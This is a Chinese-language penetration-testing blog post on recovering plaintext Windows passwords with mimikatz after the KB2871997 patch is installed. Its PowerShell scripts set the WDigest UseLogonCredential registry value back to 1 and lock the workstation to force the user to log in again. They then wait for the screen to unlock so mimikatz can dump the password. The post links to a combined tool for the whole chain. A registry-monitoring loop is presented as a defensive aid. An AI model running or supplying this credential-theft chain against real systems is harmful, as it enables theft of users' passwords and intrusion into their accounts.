在滲透測試中,滲透測試人員通常會使用mimikatz從LSA的內存中導出系統的明文口令,而有經驗的管理員往往會選擇安裝補丁kb2871997
來限制這種行為。這其中涉及到哪些有趣的細節呢?本文將會一一介紹。
更新KB2871997補丁后,可禁用Wdigest Auth強制系統的內存不保存明文口令,此時mimikatz和wce均無法獲得系統的明文口令。但是其他一些系統服務(如IIS的SSO身份驗證)在運行的過程中需要Wdigest Auth開啟,所以補丁采取了折中的辦法——安裝補丁后可選擇是否禁用Wdigest Auth。當然,如果啟用Wdigest Auth,內存中還是會保存系統的明文口令。
支持系統:
配置:
1、下載補丁并安裝
下載地址:
https://support.microsoft.com/en-us/kb/2871997
2、配置補丁
下載easy fix并運行,禁用Wdigest Auth
注:
easy fix的操作其實就是改了注冊表的鍵值,所以這里我們可以手動操作注冊表來禁用Wdigest Auth
對應的注冊表路徑為:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
名稱為:
UseLogonCredential
類型為:
REG_DWORD
值為:
0
使用批處理的命令為:
#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
如圖
3、重啟系統
測試無法導出明文口令
如圖
需要將UseLogonCredential的值設為1,然后注銷當前用戶,用戶再次登錄后使用mimikatz即可導出明文口令。
Nishang中的Invoke-MimikatzWDigestDowngrade集成了這個功能,地址如下:
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
但是在功能上還無法做到一鍵操作,于是我對此做了擴展。
操作流程如下:
腳本實現上需要考慮如下問題:
通過powershell實現
鍵值設為1:
#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
循環判斷注冊表鍵值是否為0,如果為1,等待10s再次判斷,如果為0,退出循環,可用來監控此注冊表鍵值是否被修改:
#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
write-host "[+]Flag Normal"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"
如圖
鎖屏操作的快捷鍵為Win+L
cmd下命令為:
rundll32.exe user32.dll,LockWorkStation
powershell代碼如下:
#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
如圖
最開始的思路為鎖屏會運行某個進程,在結束鎖屏狀態后會退出某個進程或是在結束鎖屏狀態后會啟動某個進程,于是編寫了如下測試代碼:
判斷進程notepad進程是否存在,如果不存在等待10s再次判斷,如果存在,退出循環:
#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
write-host "[-]No notepad.exe"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
}
write-host "[!]Got notepad.exe!"
但是實際測試效果均不太理想,后來在如下鏈接找到了解決思路:
http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen
鎖屏狀態下GetForegroundWindow()的函數返回值為NULL,非鎖屏狀態下GetForegroundWindow()的函數返回值為一個非零的值。
對于GetForegroundWindow()的函數用法可在如下鏈接找到參考:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1
于是在此基礎上實現功能:
循環判斷當前是否為鎖屏狀態,如果不是鎖屏狀態,退出循環,否則循環等待
#!powershell
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
write-host "[+]LockScreen"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
}
write-host "[!]Got Screen!"
為方便演示,上面的腳本添加了等待10s后再判斷的功能,如圖
導出口令的功能參考如下代碼
通過powershell加載mimikatz導出明文口令,添加了保存、判斷、循環等細節,整合文中的功能,完整的代碼已上傳至github,地址為:
https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
完整演示如圖
本文對加載mimikatz導明文口令的powershell腳本做了擴充,添加了如下功能:
同時也通過powershell實現了監控并記錄對注冊表鍵值的修改,可用作防御
見上面的鏈接,l3m0n對滲透測試的整理很是細心,是個很好的學習資料。另外在其github上hash抓取
這一章中的win8+win2012明文抓取
描述為測試失敗,希望本文對你(@l3m0n)有用
更多學習資料:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/